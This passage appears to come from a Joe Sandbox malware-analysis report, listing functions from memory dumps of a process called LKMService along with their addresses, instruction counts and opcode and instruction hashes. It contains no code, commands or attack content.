Instruction ID: 3ca1c60f104a4f1342f6ff0899125a03342e2aef2f1a5b8c11b9b87e4ace4b80
Opcode Fuzzy Hash: 0cbcd750d1fa85ed1521a90c23fa753681648bb7c99cd7b7f4de17071a2a4515
Instruction Fuzzy Hash: 31313475A002598FDF06DFA8C940ADDBBF2BF89314B244195E451BB3A6DB31AE01CB60

Function 00E43108 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3329011d2ad1b7658506738dcdf2377cad8fa4dc7651b632ce4a608f62c3b1a6
Instruction ID: 9a95aedff33fda8889d62c3efd82e4908dac004ef077956a2612658a349544e1
Opcode Fuzzy Hash: 3329011d2ad1b7658506738dcdf2377cad8fa4dc7651b632ce4a608f62c3b1a6
Instruction Fuzzy Hash: E331E370A052519FCB15DF39D8106DDBBF6BF88300F144669E449EB392DB34AE14CBA1

Function 00E42078 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e70d20d53adaaff4bfb9ca5549f3d1b75cb8134626f6bbb6eaa18dc372f8b036
Instruction ID: 26e24ba8ad7a5cdcbd56b0ed23eac8303ec51fe491851e3144824d69ce8d99b2
Opcode Fuzzy Hash: e70d20d53adaaff4bfb9ca5549f3d1b75cb8134626f6bbb6eaa18dc372f8b036
Instruction Fuzzy Hash: 7631E4309483459FCB02EBA8E851AEEBBB5AF85310F5580AAD105EB266DA705D09CB91

Function 00E452EC Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02c339b66b699d191f1709b8da2166e71a18982444cd0dc4c883e8e30a047e50
Instruction ID: eabd12f4e645ed47ed3021987f473ee23a3c6de180f69c1214b969b129bdc150
Opcode Fuzzy Hash: 02c339b66b699d191f1709b8da2166e71a18982444cd0dc4c883e8e30a047e50
Instruction Fuzzy Hash: B83123B1D00248DFCB14CFAAD494ADEBFF5AF88344F248429E809BB255CB749941CFA4

Function 00E44939 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 354023dced060042c0c819d8027fb3cb6babe3dc2d5b6b42303f4e27bc274179
Instruction ID: 0eb41b06e4c306b4be1703e7030fa428b7d7f5666237caa01aeb370b7676b2e1
Opcode Fuzzy Hash: 354023dced060042c0c819d8027fb3cb6babe3dc2d5b6b42303f4e27bc274179
Instruction Fuzzy Hash: 2631E531E0434A8FCB06EFB8D8605EEBBB5EFC53107108296D556BB265EB30AD41C7A1

Function 00E44534 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c3cf331ebc276ebcf1c8435bb2e5f4fefbded1385f0be2fe96000643c84f01d
Instruction ID: b63dc4517bdb1483849b0de5a667ff739d017ddd5fc0cc7dd7c8145a9d2016d0
Opcode Fuzzy Hash: 9c3cf331ebc276ebcf1c8435bb2e5f4fefbded1385f0be2fe96000643c84f01d
Instruction Fuzzy Hash: 2E21B171F00205AFCF01DF68E5406DEBBF6AF89310F1985AAE845BB255CB34AD85CB90

Function 00E452F8 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a795cab477be9ef75dc772a0e5e0037644d83bbfdd7f458e6e30ef3c7cd32af
Instruction ID: 4aaa3430c29a14363fa229f09043068a850092e5942836a59a967be95a502a89
Opcode Fuzzy Hash: 3a795cab477be9ef75dc772a0e5e0037644d83bbfdd7f458e6e30ef3c7cd32af
Instruction Fuzzy Hash: BC3135B1D00248DFCB14CFAAD580ADEBFF5AF48344F248029E809BB254DB749945CFA0

Function 00E45848 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d33566ceb91a840e87102aa5b496486f1623dbc09349d9e89ba117096581078d
Instruction ID: e7a6becd6c0af3eba029ff841c505692f0d34d8cf6b157ff81f2bbb1fdedaf22
Opcode Fuzzy Hash: d33566ceb91a840e87102aa5b496486f1623dbc09349d9e89ba117096581078d
Instruction Fuzzy Hash: 3631F2B2D01258DFCB14CFA9E894BDEBBF5AF88310F24842AE515B7241CB75A945CB90

Function 00E40A60 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4448fe3c234207afb5a881924497d2e0697fede09545e090585a8239aeca99b0
Instruction ID: 541309c32526318f3b2655ca9a214e743d0de7ad1892d13e2e3737a663a9725a
Opcode Fuzzy Hash: 4448fe3c234207afb5a881924497d2e0697fede09545e090585a8239aeca99b0
Instruction Fuzzy Hash: 5E2147343005018FC745EB29D858A2A7BE6FF8AA1076644A9F50ACF3B6CA71DC028B61

Function 00E44671 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fe2d3b62ead073e66f660eaf63da67e9232db0afd538c9b603afacea0e7aa18
Instruction ID: 2c16aa38a954df645cb634bca9640c60647d0bfce8c0bb6f5efec1ed1a1323c5
Opcode Fuzzy Hash: 4fe2d3b62ead073e66f660eaf63da67e9232db0afd538c9b603afacea0e7aa18
Instruction Fuzzy Hash: 40210731A4D39A8FCB029B7898205EDBF769E87320B1E05D3D444BB1E3D6741849C7B2

Function 00E4421C Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d87a72324905c5ffc9bbe17e7eb148f1ee4bc944a3c80b523711306d10a1cad
Instruction ID: aa0af8f136a8848e65f3c4c4a0b39f5dea7a91d734c7c4ac627fd01a43d40d10
Opcode Fuzzy Hash: 3d87a72324905c5ffc9bbe17e7eb148f1ee4bc944a3c80b523711306d10a1cad
Instruction Fuzzy Hash: 4B217C71F002048BDB15EBA8E451BEEB7F5AB88305F249029E901BB3A5CAB09C41CF94

Function 00E4583D Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23b9c25b0f3f2275ab4d61d7372c99837a46f176c63453a20e3fc50f53c12944
Instruction ID: 2c276d493213f6590d48530c630ffd6bbce60e1cd78d8b29621e82aad41c3dbc
Opcode Fuzzy Hash: 23b9c25b0f3f2275ab4d61d7372c99837a46f176c63453a20e3fc50f53c12944
Instruction Fuzzy Hash: 4D21E2B1D04358DFDB14CFA9D894BDEBFF9AB48310F248429E445BA241CB75A945CBA0

Function 00E40A70 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fe8cfcfadfca872521371e6f8e613693eb6754b69251117510f8766169d7214
Instruction ID: cb06856db9cec9b88097e20363313c7b1c902a90ab42e2a099fc023f0e610707
Opcode Fuzzy Hash: 2fe8cfcfadfca872521371e6f8e613693eb6754b69251117510f8766169d7214
Instruction Fuzzy Hash: 951137343000118FC744EB2DD458A2E7BE6FFC9A1476644A8E50ACB3B6CE61DC018BA1

Function 00E44228 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c46c0b8a5157584968238e595732bfd0f9d73b244ec4c16a364ca3158a59e9de
Instruction ID: 182423cf6a1f988341f28d330162e61aafabb45216330542fd6675342065b055
Opcode Fuzzy Hash: c46c0b8a5157584968238e595732bfd0f9d73b244ec4c16a364ca3158a59e9de
Instruction Fuzzy Hash: E1214D71F00208CBDB15EFA8E455BAEB7F5AB48344F149029E901BB3A5DAB19C41CFA4

Function 00E40E79 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8718aca019d406b37bbc7f0b8218218fdbcc2dd5c18d0b870e6d87ff41df7206
Instruction ID: ac7d5882e74628ec5438a7975a926118c4edcbe179be7078a3f2f9ee4f5dc7e2
Opcode Fuzzy Hash: 8718aca019d406b37bbc7f0b8218218fdbcc2dd5c18d0b870e6d87ff41df7206
Instruction Fuzzy Hash: 16216C35A002488FDB05CF99D5849DCBBF2FF89324B5890A5E905BB366DA35AD84CF60

Function 00E41BAC Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 894ebd2386beab8565d679439322a473ca44022c1264ee0829b1cc1b95068126
Instruction ID: ca00e65b745706ff31e20d7afc01288c381b1152c950814ceb8384a85d0328cc
Opcode Fuzzy Hash: 894ebd2386beab8565d679439322a473ca44022c1264ee0829b1cc1b95068126
Instruction Fuzzy Hash: 9211C632C0979A9FCB019BB9D8244DDBFB5DE87310F1A46A2D140BB0B5E674218EC7A1

Function 00E44948 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25dfdef83fc125208f6e0d14692e37893640ceae2774fd8d664e531c387e0f29
Instruction ID: a0050b7f5c40d9737e4469d78544fbbd4813e28038708ae42fcbae8a5ed3fc9b
Opcode Fuzzy Hash: 25dfdef83fc125208f6e0d14692e37893640ceae2774fd8d664e531c387e0f29
Instruction Fuzzy Hash: E6113D31E1070B8BCB05ABB9D8545AEF7B9EFC5340710C62AD55AA7254EF30A982C791

Function 00E4488F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5672305b5c00929c47f12ad8931f754c282bd58439a2ca4719274534ff26ab64
Instruction ID: 6f6bac01e4ae1b227f00f8eaf2d060792b21846f5eeaa0d3429e952a63801f3c
Opcode Fuzzy Hash: 5672305b5c00929c47f12ad8931f754c282bd58439a2ca4719274534ff26ab64
Instruction Fuzzy Hash: 56119175B005598FDB28DF68E540A9CB7F1FF88324B2552A5E102BF2A1CB30ED80CB61

Function 00E40CC0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3182fc848b839423b75b32977359e36f4909761e3e0299955ef69944f9485004
Instruction ID: 939d603008536f3f5c95f3f69de067026516548261de04d89834cf5b9cfdd7fb
Opcode Fuzzy Hash: 3182fc848b839423b75b32977359e36f4909761e3e0299955ef69944f9485004
Instruction Fuzzy Hash: 3E118E32D0474A9BCB01CFB9D8404DDFFB5EF99310F154666E011B7260E774258ACB60

Function 00E435E1 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6f492c5f652b293603b69a2d814c52b5ff28543e5921cd0440d2abf4d57cce8
Instruction ID: 5331eb6e359c61da74bea1382d257811db301ba31c4174e6cab128c19b8eb66f
Opcode Fuzzy Hash: c6f492c5f652b293603b69a2d814c52b5ff28543e5921cd0440d2abf4d57cce8
Instruction Fuzzy Hash: EF11E132D0164AABCB01DBA8E8005CDFBB5AF86310F164753E020B71B0EB74254ACB61

Function 00E40989 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba61c7d099086444b16b4f11bb5f39b30a4d68b0d4003345795017ab73000308
Instruction ID: 2b7b7ac03d8f18051049b1ac5821de13bb5b8750cdfd57c36ff23d7dbae019b1
Opcode Fuzzy Hash: ba61c7d099086444b16b4f11bb5f39b30a4d68b0d4003345795017ab73000308
Instruction Fuzzy Hash: 63110434541245DFCB06FF64E998A59BBB1FB84300B1186B9D825DB379EB30AD49CF90

Function 00E41FF6 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aed36cc801b2cb875489ef2907d0b007228359e721ed763d111fdc7f3715c9e3
Instruction ID: 17f43c8c1cb2c837b285aa8f58e9996107e702c00d4e854a48448b32b8b88d0f
Opcode Fuzzy Hash: aed36cc801b2cb875489ef2907d0b007228359e721ed763d111fdc7f3715c9e3
Instruction Fuzzy Hash: 9301D232C1834AEFCB01DFB4DC544DDBBB5AFC6300B5A4692E100BB160E774284AC761

Function 00E40879 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bc6fc20486bfa6dd165f1e3bb8607932a8c71de92719b29fc7a2ab129ba5200
Instruction ID: b0e4a9d364880c4910d9f5a9892631ae5fd420416ac3574e32e99ae2d14f0e08
Opcode Fuzzy Hash: 8bc6fc20486bfa6dd165f1e3bb8607932a8c71de92719b29fc7a2ab129ba5200
Instruction Fuzzy Hash: 8F01B132D0464A9BCB019BB9DC005DDFBB6EFCA310F1686A2D111B7164EB70258ECBA1

Function 00E42539 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1da978503a2ebefe740e392b27f0f2a224e96283c98bcc2495d0b7fd8ccdd75b
Instruction ID: 0b9ce1948d87cd88dc7228d618cb7463f64de4107bdeff7b0d06082a23813243
Opcode Fuzzy Hash: 1da978503a2ebefe740e392b27f0f2a224e96283c98bcc2495d0b7fd8ccdd75b
Instruction Fuzzy Hash: FF01C832D0474A8BCF018BB9D8004DDFFB69FCA300B198696D511B7265EB74144DCBB1

Function 00E42EDF Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf76905fb20720bbe4b817747084bb73286965fc86de0381adb291c933391eeb
Instruction ID: c23caa89c1f53e6e7df071590905638f9844372b9f8a52a5cb9bc1c77303c9eb
Opcode Fuzzy Hash: cf76905fb20720bbe4b817747084bb73286965fc86de0381adb291c933391eeb
Instruction Fuzzy Hash: C201B532D0474A9BCF01DBB9D8004DDFBB6EFCA310F5A8696D511B7161EB70258ACBA1

Function 00E46DC1 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 187c8b192cb2dc0d7fd56ab418c7fb841f90f9c61c5303412e660112bce1c598
Instruction ID: de7667d4ae653649a0e802b386ad2f27113afdad5084c91c861852c2a3a895a3
Opcode Fuzzy Hash: 187c8b192cb2dc0d7fd56ab418c7fb841f90f9c61c5303412e660112bce1c598
Instruction Fuzzy Hash: 96017132D1464A9ACB01DBA8EC104DCBB71EFD6310F264692E100B70A1E674298AC761

Function 00E43360 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48b20988c5c6f33f36be4628a7c94e57e05483db8da6a02756fd1fd179d5067a
Instruction ID: 888076e9fbda5213a7955370120b99bf4570db3bbf597df9b71493d37c75f1ec
Opcode Fuzzy Hash: 48b20988c5c6f33f36be4628a7c94e57e05483db8da6a02756fd1fd179d5067a
Instruction Fuzzy Hash: 8301B532D0060B9BCB01CBB8D8004DDFBB6EFCA310F168666D111B7160E774258ACBA0

Function 00E40CD0 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f05497af3407c545eb64fbf24a16e0af4d558dc9e7307783a6077f3a95fd179
Instruction ID: 272610fb97632dc430f9ea427c7c475def0bcc9431145b5037f0e9dbbf40fca4
Opcode Fuzzy Hash: 6f05497af3407c545eb64fbf24a16e0af4d558dc9e7307783a6077f3a95fd179
Instruction Fuzzy Hash: 8F012132D1060EABCB00DFA9D8404DDFBB9EFD9320F158666E115B7250EB74258ACB60

Function 00E46E41 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2870e79d5790105f7b7ce887222cf6fd9db824f259fb665d98f1e8a8d8ab1595
Instruction ID: 1f9ae66ea895a61c063095fe29b019ce4e7bbe9f0bf62373a30ed4914a7cc2f7
Opcode Fuzzy Hash: 2870e79d5790105f7b7ce887222cf6fd9db824f259fb665d98f1e8a8d8ab1595
Instruction Fuzzy Hash: 7401D13290020A9BCF14DB64D4146EEBBF5AF95344F20842AC002BB250EE705A0396C2

Function 00DAD785 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3529852562.0000000000DAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_dad000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33da5222fe5a0a57da830bc24aae96f11cf66ebd1b6dff37eaaf8fb859d420c2
Instruction ID: 1e96eebc3bbf9d900a8e885db9e5aad0932ea8170ee52c2b68bec466f9cc6a9a
Opcode Fuzzy Hash: 33da5222fe5a0a57da830bc24aae96f11cf66ebd1b6dff37eaaf8fb859d420c2
Instruction Fuzzy Hash: AC01A7310093409AE7148A29CE84B67BF99DF46724F1CC42AED4B4A596CA79DC40CA71

Function 00E464C8 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca63a417343822c3414dd994d960675630c59ce935e9c9047d38022add68b108
Instruction ID: fe76cf4753cd4f6c392471018dd4d87a47e1ad881af9d05f791bdc5c2ae2e02d
Opcode Fuzzy Hash: ca63a417343822c3414dd994d960675630c59ce935e9c9047d38022add68b108
Instruction Fuzzy Hash: 6E01F931D1021A9BCF089B68D8556EEFAF65B85310F108C26D912FB754DE709A0686D3

Function 00E40998 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db187eeef68fb6d6859f70446bb0c1fa6183438da1be71147516158fe691fdb6
Instruction ID: ecdef8fcaab10a00d8ae659f8f0569d99d4e011e56b7f5e0d6acf88c29914429
Opcode Fuzzy Hash: db187eeef68fb6d6859f70446bb0c1fa6183438da1be71147516158fe691fdb6
Instruction Fuzzy Hash: 97110634541245CFCB09FF64E988A58BBB6FB44304B1046B8D825CB339EB30AD49CF80

Function 00E43668 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0df2036a70b61bbe08934b72f5493bedb9d38661898da1910873de11ccc9a82
Instruction ID: 0076a8b510b8bbc53f7af6be38adb633da0ae2cc6e0acc1dda8bd59c2ead92b2
Opcode Fuzzy Hash: b0df2036a70b61bbe08934b72f5493bedb9d38661898da1910873de11ccc9a82
Instruction Fuzzy Hash: 8AF02832E10206ABCF00DB78D4515FFBF668F44310F22456AC403B7740CE74664A8E92

Function 00E425C8 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd14d215ca7208e592ac7146de0fc3e1b559b3117ac203e86568c467062ec1ba
Instruction ID: cf3772b38de2cda2f2d5fa45a17075a90dc0f690319e4d993752767e6a90412e
Opcode Fuzzy Hash: bd14d215ca7208e592ac7146de0fc3e1b559b3117ac203e86568c467062ec1ba
Instruction Fuzzy Hash: 02012631A002058BCF15AB38D4207EFBFB65F89300F9884A9E542BB282DE74640A93D2

Function 00E44718 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cdd4f817d4c31ec394c3f3ee69fbaa8916387dbbf12521521b620c5c576002c
Instruction ID: c23a426fb0cc4e866de4d8b482f7c8819279072ccc92c0e41b78334d9a631709
Opcode Fuzzy Hash: 1cdd4f817d4c31ec394c3f3ee69fbaa8916387dbbf12521521b620c5c576002c
Instruction Fuzzy Hash: E301D671B042498BCF159BB4D4696EEBF755F56300F188526C802BB381DFB15907C7D1

Function 00E46448 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09240cc5df085d881bad32a7bac6495986cb8ee8de0a79ff23925ca6fdc610f2
Instruction ID: 5670981759d64589057b83059d55ed95e138cb13b22aed9d2bb12a36751d4424
Opcode Fuzzy Hash: 09240cc5df085d881bad32a7bac6495986cb8ee8de0a79ff23925ca6fdc610f2
Instruction Fuzzy Hash: C501A232C0060ADACF00DBA4DD501DCB776EFD6310F650A51E100B7070E770268AC761

Function 00E42548 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a11c955c58202463157dbe630a99f835141f96635517c3d7ba1b47fc70509808
Instruction ID: 7f941b4a11647f752ad460d486e82f0597e90d5ca711a2f3bfd7a515a707dfc6
Opcode Fuzzy Hash: a11c955c58202463157dbe630a99f835141f96635517c3d7ba1b47fc70509808
Instruction Fuzzy Hash: C1018F32D1060E97CF009BA9C8004DEF7BAEFC9310F258612D11177264EB70258ACBA0

Function 00E46BB2 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3530503708.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e40000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c8cf850479245e60ce8b1ef8738e7592da693e9a78161d58398903dd808aebe
Instruction ID: 0ceceb75a5cb04f0a2c64d88040718018dc3339657845d839d08e3acb1be17a6
Opcode Fuzzy Hash: 2c8cf850479245e60ce8b1ef8738e7592da693e9a78161d58398903dd808aebe
Instruction Fuzzy Hash: 6101C570A006148FCB08CF59D88889DBBF3FF8931475AC1A5D4099B366DB34ED42CB61

Function 00E435F0 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

